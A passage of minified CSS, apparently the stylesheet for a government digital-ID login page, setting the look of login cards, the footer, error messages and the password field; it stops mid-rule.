.digital-id-login-card-wrapper,.unauth .digital-id-login-card-wrapper{background-color:#fff}.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-bottom:0}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:20px;margin-bottom:60px}.wrapper-mapwap .login-card,.wrapper-mapwap .digital-id-main-login-card,.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#fff;padding:10px;max-width:75%;margin:0 auto;padding:0}footer[role="contentinfo"]{background-color:#000}footer[role="contentinfo"] .wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding-bottom:40px!important}footer[role="contentinfo"] .inner{max-width:1360px;margin-left:auto;margin-right:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-right:0;margin-left:0}footer[role="contentinfo"] a:focus{outline:0;outline-offset:none}footer[role="contentinfo"] .footer-heading{display:none}footer[role="contentinfo"] .footer-list{border-bottom:1px solid #999;padding:25px 0;margin-bottom:44px}footer[role="contentinfo"] .lower-links{margin-top:0;margin-bottom:0}footer[role="contentinfo"] .lower-links a{color:#fff;border-bottom:0;font-size:14px;font-weight:400}footer[role="contentinfo"] .lower-links a:hover{text-decoration:underline;background-color:transparent;color:#66d3ee}footer[role="contentinfo"] .lower-links a:focus{outline:2px solid #33c4e8;outline-offset:4px}footer[role="contentinfo"] .lower-links li{display:inline}footer[role="contentinfo"] .lower-links li:not(:last-child){margin-right:24px}footer[role="contentinfo"] .footer-links a{color:#fff;border-bottom:0;font-size:18px;font-weight:400}footer[role="contentinfo"] .footer-links a:hover{text-decoration:underline;background-color:transparent}footer[role="contentinfo"] .footer-links a:focus{outline:4px solid #fff;outline-offset:2px;color:#fff}footer[role="contentinfo"] .footer-links a:active{background:#d9d9d6}footer[role="contentinfo"] .footer-lower{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}footer[role="contentinfo"] .footer-lower-logo img{height:100%}footer[role="contentinfo"] .footer-lower-logo a{color:none;border-bottom:0}footer[role="contentinfo"] .footer-lower-logo a:hover{background-color:transparent}footer[role="contentinfo"] .footer-lower-logo a:focus{outline:2px solid #183052;outline-offset:4px}@media screen and (min-width:576px){footer[role="contentinfo"] .footer-list{margin-bottom:44px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:992px){footer[role="contentinfo"] .footer-lower-logo img{height:54px;max-width:308px;margin-bottom:0}footer[role="contentinfo"] .footer-lower{padding-top:1em;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}footer[role="contentinfo"] .footer-acknowledgement{max-width:650px}footer[role="contentinfo"] .inner{width:1360px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1200px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:1244px){footer[role="contentinfo"] .inner{padding-left:40px;padding-right:40px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}@media screen and (min-width:640px){footer[role="contentinfo"] .footer-lower-logo img{height:68px;max-width:390px}footer[role="contentinfo"] .wrapper{padding-bottom:0!important}}footer[role="contentinfo"] .footer-lower-logo{margin-right:32px;margin-bottom:43px}footer[role="contentinfo"] .footer-acknowledgement{color:#fff;font-size:16px;line-height:26px;font-weight:400;margin:0}.input-group.hasError .showPassword,label.hasError .showPassword{border-top:2px solid #dc3548;border-top:.125rem solid #dc3548;border-right:2px solid #dc3548;border-right:.125rem solid #dc3548;border-bottom:2px solid #dc3548;border-bottom:.125rem solid #dc3548;border-top-right-radius:5px;border-bottom-right-radius:5px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group.hasError input,label.hasError input{border:2px solid #dc3548}.input-group.hasError input:focus,label.hasError input:focus{border:2px solid #dc3548}#artifact-metadata{display:none}#passwordResetPair p:nth-of-type(1),#passwordResetPair p:nth-of-type(2),#resetPasswordPair p:nth-of-type(1),#resetPasswordPair p:nth-of-type(2){margin:24px 0 24px 0}#security-codes-info p{margin-top:.5em}#security-codes-info p a{font-size:16px}.recovery:first-of-type{margin-top:5px!important;margin-bottom:20px}.recovery:nth-of-type(2){margin-top:5px!important;margin-bottom:25px}ul.consent li{padding-left:10px}ul.consent li::marker{font-size:22px}.button-container button:first-child{margin-bottom:0}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem}.button-container button:first-child{margin-bottom:unset}.button-container button:first-child,.button-digital-id-main-container button:first-child{margin-bottom:unset}.button-main,.button-minor,.button-danger,.button-modal-main{margin:unset}.button-minor{margin:unset}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2){margin-right:unset}button,.button,[role="button"],[type="submit"],[type="reset"],[type="button"]{margin:unset;padding:unset}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{line-height:unset;margin:unset;margin-bottom:unset}button,input,optgroup,select,textarea{margin:unset}.button-main{padding-top:unset}.button-main{margin-right:1em}@media(screen) and (min-width:640px){.button-main{margin-right:3em}}form [type='radio']:focus+label{outline:4px solid #183052;outline-offset:2px}.draw-circle{border:1px solid #ccc;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:6px}.text-align-left{text-align:left}.text-align-left.alternative{margin-left:0}@media screen and (max-width:640px){.text-align-left.alternative{margin-left:-1em}}#mygov-login-form.alternative{margin-left:1em;margin-right:1em}.digital-id-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border-right:1px solid #949494;border-left:1px solid #949494;border-bottom:1px solid #949494;margin-top:20px}.digital-id-login-option-container .inner-options{margin-left:1em;margin-right:1em;padding-bottom:30px}@media screen and (max-width:640px){.digital-id-login-option-container .inner-options{margin-left:20px;margin-right:20px}}.digital-id-login-option-container .inner-options p{text-align:left;font-size:16px}.digital-id-login-option-container .inner-options p a{display:inline;font-size:16px;padding:0}.digital-id-login-option-container .inner-options .hr-word{margin-top:0}.mygov-login-option-container{background-color:#f5f5f5;border-radius:4px;overflow:hidden;border:1px solid #949494;padding-top:25px;padding-bottom:30px;margin-top:20px}.mygov-login-option-container .new-brand-rainbow{position:relative;margin-top:-25px}.terms-service-text{font-size:16px}.terms-service-text a{font-size:16px}#new-modal-content,#secondary-identity-modal{border-radius:15px;padding:30px}.identity-modal-button-container,.secondary-identity-modal-button-container{text-align:right}#identity-first-confirm-button,#identity-second-confirm-button{max-width:160px}#identity-first-confirm-button:disabled,#identity-second-confirm-button:disabled{background-color:grey;font-weight:300}.new-brand-rainbow{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-bottom:40px}@media screen and (max-width:640px){.new-brand-rainbow{margin-bottom:.4em}}.new-brand-rainbow.padding{margin-bottom:25px}@media screen and (max-width:640px){.new-brand-rainbow.padding{margin-left:-1em;margin-right:-1em}}.new-brand-rainbow .rainbow-first{width:39px;height:5px;display:inline-block;background-color:#006bdf}.new-brand-rainbow .rainbow-second{width:100%;height:5px;display:inline-block;background-color:#172f52}.external-links-zone span.mygovid{float:unset}#first-dismiss,#second-dismiss{width:36px;height:36px}.unauth a.anchor{background-color:transparent}.unauth a.anchor:hover{background-color:transparent}p.login-instruction-text{margin-left:0;margin-top:.5rem;margin-bottom:0;margin-right:0}.digital-id-login-card-wrapper h2{font-weight:700}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-mapwap h1:first-of-type,#inner-content h1:first-of-type,.unauth h1:first-of-type,.wrapper-mapwap .digital-id-login-card-wrapper h1,.unauth .digital-id-login-card-wrapper h1{margin-top:28px;margin-top:1.75rem;margin-bottom:12px;margin-bottom:.75rem;font-size:32px;font-size:2rem;letter-spacing:-0.32px;letter-spacing:-0.02rem;line-height:1.34375;margin-top:0}p,.wrapper-mapwap .digital-id-login-option-container .inner-options p,#inner-content .digital-id-login-option-container .inner-options p,.unauth .digital-id-login-option-container .inner-options p,.wrapper-mapwap .digital-id-login-option-container .inner-options p a,.wrapper-mapwap .digital-id-login-option-container .inner-options p a.anchor,#inner-content .digital-id-login-option-container .inner-options p a,#inner-content .digital-id-login-option-container .inner-options p a.anchor,.unauth .digital-id-login-option-container .inner-options p a,.unauth .digital-id-login-option-container .inner-options p a.anchor{font-size:inherit}.main-block,.wrapper-mapwap .main-block,.unauth .main-block,.wrapper-mapwap .digital-id-login-card.secondary,.unauth .digital-id-login-card.secondary{max-width:650px;max-width:40.625rem}html,body{overflow-x:hidden}h1,h2,.display{color:#333}h2:first-of-type,.display:first-of-type{margin-top:30px;margin-top:1.875rem}*,ul,ol,dl,p,dt,dd{line-height:1.75}*::first-line ,ul::first-line ,ol::first-line ,dl::first-line ,p::first-line ,dt::first-line ,dd::first-line {line-height:1.5}ul,ol,dl,p,dt,dd{margin-bottom:20px;margin-bottom:1.25rem}legend{color:#333}.wrapper-mapwap{padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem}@media screen and (min-width:1024px){.wrapper-mapwap{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}.wrapper-mapwap form input,.unauth form input{border-radius:2px;border-radius:.125rem;height:48px;height:3rem;border:1px solid #000;border:.0625rem solid #000}.wrapper-mapwap form input:focus,.unauth form input:focus{outline-width:2px;outline-width:.125rem;outline-color:#000;border-color:#000}.button-container.single-button{text-align:left}.button-container.single-button button,.button-container.single-button a{margin-right:0}.did-link{font-size:14px;font-size:.875rem}.wider-container{width:951px;width:59.4375rem;position:relative;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);max-width:-webkit-calc(100vw - 50px);max-width:calc(100vw - 50px);max-width:-webkit-calc(100vw - 3.125rem);max-width:calc(100vw - 3.125rem)}.continue-digital-identity-chevron{font-size:16px!important}.continue-digital-identity-chevron::after{content:"";position:absolute;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url(../icons/link-arrow.svg)}.wrapper-mapwap h2:first-of-type,.wrapper-mapwap .display:first-of-type,#inner-content h2:first-of-type,#inner-content .display:first-of-type,.unauth h2:first-of-type,.unauth .display:first-of-type{font-size:24px;font-size:1.5rem;margin-bottom:20px;margin-bottom:1.25rem;line-height:1.25}.wrapper-mapwap h2:first-of-type::first-line ,.wrapper-mapwap .display:first-of-type::first-line ,#inner-content h2:first-of-type::first-line ,#inner-content .display:first-of-type::first-line ,.unauth h2:first-of-type::first-line ,.unauth .display:first-of-type::first-line {line-height:1.33333}.secondary .wrapper-mapwap h2:first-of-type,.secondary .wrapper-mapwap .display:first-of-type,.secondary #inner-content h2:first-of-type,.secondary #inner-content .display:first-of-type,.secondary .unauth h2:first-of-type,.secondary .unauth .display:first-of-type{margin-top:36px;margin-top:2.25rem;margin-bottom:12px;margin-bottom:.75rem}.wrapper-mapwap a.button-back::before,#inner-content a.button-back::before,.unauth a.button-back::before{top:-1.8px;top:-0.1125rem;left:-20px;left:-1.25rem;background-size:12px;background-size:.75rem;width:12px;width:.75rem;background-image:url("../icons/blugov-left-chevron-dark.svg");right:unset}.wrapper-mapwap p.login-instruction-text,#inner-content p.login-instruction-text,.unauth p.login-instruction-text{margin-top:0;color:#333}.wrapper-mapwap .login-grid-container,#inner-content .login-grid-container,.unauth .login-grid-container{margin-top:65px;margin-top:4.0625rem}.wrapper-mapwap .login-grid-container .button-back,#inner-content .login-grid-container .button-back,.unauth .login-grid-container .button-back{margin-top:0;line-height:1.5}.wrapper-mapwap #mygov-login-form.alternative,#inner-content #mygov-login-form.alternative,.unauth #mygov-login-form.alternative{margin-left:0;margin-right:0}.wrapper-mapwap .help-info-button,.wrapper-mapwap .help-info,.wrapper-mapwap #inner-content .help-info,#inner-content .wrapper-mapwap .help-info,#inner-content .help-info-button,#inner-content .help-info,.unauth .help-info-button,.unauth #inner-content .help-info,#inner-content .unauth .help-info,.unauth .help-info{font-size:16px;font-size:1rem;font-weight:500;border:0;text-decoration:underline}.wrapper-mapwap .help-info-button::after,.wrapper-mapwap .help-info::after,.wrapper-mapwap #inner-content .help-info::after,#inner-content .wrapper-mapwap .help-info::after,#inner-content .help-info-button::after,#inner-content .help-info::after,.unauth .help-info-button::after,.unauth #inner-content .help-info::after,#inner-content .unauth .help-info::after,.unauth .help-info::after{width:16px;width:1rem;height:11px;height:.6875rem;right:-20px;right:-1.25rem;background-size:contain;background-position:center;bottom:0;top:0;margin:auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg")}.wrapper-mapwap .help-info-button[aria-expanded="true"]::after,.wrapper-mapwap [aria-expanded="true"].help-info::after,.wrapper-mapwap #inner-content [aria-expanded="true"].help-info::after,#inner-content .wrapper-mapwap [aria-expanded="true"].help-info::after,#inner-content .help-info-button[aria-expanded="true"]::after,#inner-content [aria-expanded="true"].help-info::after,.unauth .help-info-button[aria-expanded="true"]::after,.unauth #inner-content [aria-expanded="true"].help-info::after,#inner-content .unauth [aria-expanded="true"].help-info::after,.unauth [aria-expanded="true"].help-info::after{right:-20px;right:-1.25rem;top:0;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:10px 16px 16px;padding:.625rem 1rem 1rem;font-size:16px;font-size:1rem;margin-bottom:20px;margin-bottom:1.25rem;border-left-width:2px;border-left-width:.125rem;line-height:1.25;color:#101820;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg::first-line ,.wrapper-mapwap .error-msg::first-line ,#inner-content .success-msg::first-line ,#inner-content .error-msg::first-line ,.unauth .success-msg::first-line ,.unauth .error-msg::first-line {line-height:1.3125}.wrapper-mapwap .success-msg:before,.wrapper-mapwap .error-msg:before,#inner-content .success-msg:before,#inner-content .error-msg:before,.unauth .success-msg:before,.unauth .error-msg:before{width:24px;width:1.5rem;height:24px;height:1.5rem;top:29px;top:1.8125rem;left:-37px;left:-2.3125rem;background-size:contain;-webkit-transform:none;transform:none}.wrapper-mapwap .success-msg strong,.wrapper-mapwap .error-msg strong,#inner-content .success-msg strong,#inner-content .error-msg strong,.unauth .success-msg strong,.unauth .error-msg strong{margin-bottom:3px;margin-bottom:.1875rem}.wrapper-mapwap .success-msg *,.wrapper-mapwap .success-msg a,.wrapper-mapwap .success-msg a.anchor,.wrapper-mapwap .success-msg .error-msg-text *,.wrapper-mapwap .success-msg .error-msg-text a,.wrapper-mapwap .success-msg .error-msg-text a.anchor,.wrapper-mapwap .success-msg .success-msg-text *,.wrapper-mapwap .success-msg .success-msg-text a,.wrapper-mapwap .success-msg .success-msg-text a.anchor,.wrapper-mapwap .error-msg *,.wrapper-mapwap .error-msg a,.wrapper-mapwap .error-msg a.anchor,.wrapper-mapwap .error-msg .error-msg-text *,.wrapper-mapwap .error-msg .error-msg-text a,.wrapper-mapwap .error-msg .error-msg-text a.anchor,.wrapper-mapwap .error-msg .success-msg-text *,.wrapper-mapwap .error-msg .success-msg-text a,.wrapper-mapwap .error-msg .success-msg-text a.anchor,#inner-content .success-msg *,#inner-content .success-msg a,#inner-content .success-msg a.anchor,#inner-content .success-msg .error-msg-text *,#inner-content .success-msg .error-msg-text a,#inner-content .success-msg .error-msg-text a.anchor,#inner-content .success-msg .success-msg-text *,#inner-content .success-msg .success-msg-text a,#inner-content .success-msg .success-msg-text a.anchor,#inner-content .error-msg *,#inner-content .error-msg a,#inner-content .error-msg a.anchor,#inner-content .error-msg .error-msg-text *,#inner-content .error-msg .error-msg-text a,#inner-content .error-msg .error-msg-text a.anchor,#inner-content .error-msg .success-msg-text *,#inner-content .error-msg .success-msg-text a,#inner-content .error-msg .success-msg-text a.anchor,.unauth .success-msg *,.unauth .success-msg a,.unauth .success-msg a.anchor,.unauth .success-msg .error-msg-text *,.unauth .success-msg .error-msg-text a,.unauth .success-msg .error-msg-text a.anchor,.unauth .success-msg .success-msg-text *,.unauth .success-msg .success-msg-text a,.unauth .success-msg .success-msg-text a.anchor,.unauth .error-msg *,.unauth .error-msg a,.unauth .error-msg a.anchor,.unauth .error-msg .error-msg-text *,.unauth .error-msg .error-msg-text a,.unauth .error-msg .error-msg-text a.anchor,.unauth .error-msg .success-msg-text *,.unauth .error-msg .success-msg-text a,.unauth .error-msg .success-msg-text a.anchor{line-height:inherit;font-size:inherit}.wrapper-mapwap .success-msg .error-msg-text,.wrapper-mapwap .success-msg .success-msg-text,.wrapper-mapwap .error-msg .error-msg-text,.wrapper-mapwap .error-msg .success-msg-text,#inner-content .success-msg .error-msg-text,#inner-content .success-msg .success-msg-text,#inner-content .error-msg .error-msg-text,#inner-content .error-msg .success-msg-text,.unauth .success-msg .error-msg-text,.unauth .success-msg .success-msg-text,.unauth .error-msg .error-msg-text,.unauth .error-msg .success-msg-text{-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .error-msg-text>span>strong,.wrapper-mapwap .success-msg .success-msg-text>span>strong,.wrapper-mapwap .error-msg .error-msg-text>span>strong,.wrapper-mapwap .error-msg .success-msg-text>span>strong,#inner-content .success-msg .error-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,#inner-content .error-msg .success-msg-text>span>strong,.unauth .success-msg .error-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong,.unauth .error-msg .success-msg-text>span>strong{padding:8px 16px 7px;padding:.5rem 1rem .4375rem;margin-left:-16px;margin-left:-1rem;margin-right:-16px;margin-right:-1rem;margin-top:-10px;margin-top:-0.625rem;margin-bottom:10px;margin-bottom:.625rem;font-size:15px;font-size:.9375rem;min-height:34px;min-height:2.125rem;font-weight:500;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg .error-msg-text>span>strong:before,.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,.wrapper-mapwap .error-msg .success-msg-text>span>strong:before,#inner-content .success-msg .error-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .success-msg-text>span>strong:before,.unauth .success-msg .error-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .success-msg-text>span>strong:before{width:16px;width:1rem;height:16px;height:1rem;margin-right:6px;margin-right:.375rem;content:"";display:block;background-repeat:no-repeat;background-position:center;background-size:contain}.wrapper-mapwap .success-msg .error-msg-text>span>strong+br,.wrapper-mapwap .success-msg .success-msg-text>span>strong+br,.wrapper-mapwap .error-msg .error-msg-text>span>strong+br,.wrapper-mapwap .error-msg .success-msg-text>span>strong+br,#inner-content .success-msg .error-msg-text>span>strong+br,#inner-content .success-msg .success-msg-text>span>strong+br,#inner-content .error-msg .error-msg-text>span>strong+br,#inner-content .error-msg .success-msg-text>span>strong+br,.unauth .success-msg .error-msg-text>span>strong+br,.unauth .success-msg .success-msg-text>span>strong+br,.unauth .error-msg .error-msg-text>span>strong+br,.unauth .error-msg .success-msg-text>span>strong+br{display:none}}@media screen and (min-width:768px){.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:14px 27px;padding:.875rem 1.6875rem;border-left-width:53px;border-left-width:3.3125rem;min-height:97px;min-height:6.0625rem;margin-bottom:37px;margin-bottom:2.3125rem}}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .success-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong{background-color:#1a9f50}.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before{background-image:url("../icons/mobile-success-icon.svg")}}@media screen and (max-width:767px){.wrapper-mapwap .error-msg .error-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong{background-color:#dc3548}.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before{background-image:url("../icons/mobile-error-icon.svg")}}.wrapper-mapwap #security-codes-info,#inner-content #security-codes-info,.unauth #security-codes-info{font-size:16px;font-size:1rem;border:0;margin:0;padding:0;background-color:unset;color:#000}.wrapper-mapwap .hasError,#inner-content .hasError,.unauth .hasError{margin:0 0 8px;margin:0 0 .5rem;border-left:none;padding-left:0}.wrapper-mapwap .hasError .form-helper-message,#inner-content .hasError .form-helper-message,.unauth .hasError .form-helper-message{font-size:14px;font-size:.875rem;padding-left:22px;padding-left:1.375rem;font-weight:500;position:relative}.wrapper-mapwap .hasError .form-helper-message::after,#inner-content .hasError .form-helper-message::after,.unauth .hasError .form-helper-message::after{height:16px;height:1rem;width:16px;width:1rem;min-width:16px;min-width:1rem;top:2px;top:.125rem;content:"";background-image:url("../icons/inline-error-icon.svg");background-size:contain;display:block;position:absolute;left:0}.wrapper-mapwap .hasError p,#inner-content .hasError p,.unauth .hasError p{line-height:1.14286;margin-top:0}.wrapper-mapwap .hasError span.hasError p,#inner-content .hasError span.hasError p,.unauth .hasError span.hasError p{margin-top:0}.wrapper-mapwap .digital-id-login-option-container,#inner-content .digital-id-login-option-container,.unauth .digital-id-login-option-container{background-color:unset;border:0;margin-top:0;overflow:unset}.wrapper-mapwap .digital-id-login-option-container .inner-options,#inner-content .digital-id-login-option-container .inner-options,.unauth .digital-id-login-option-container .inner-options{margin-left:0;margin-right:0;padding-bottom:0}.wrapper-mapwap .digital-id-login-option-container .external-links-zone,#inner-content .digital-id-login-option-container .external-links-zone,.unauth .digital-id-login-option-container .external-links-zone{margin-top:0}.wrapper-mapwap .create-account-text,.wrapper-mapwap .create-account-link,#inner-content .create-account-text,#inner-content .create-account-link,.unauth .create-account-text,.unauth .create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError 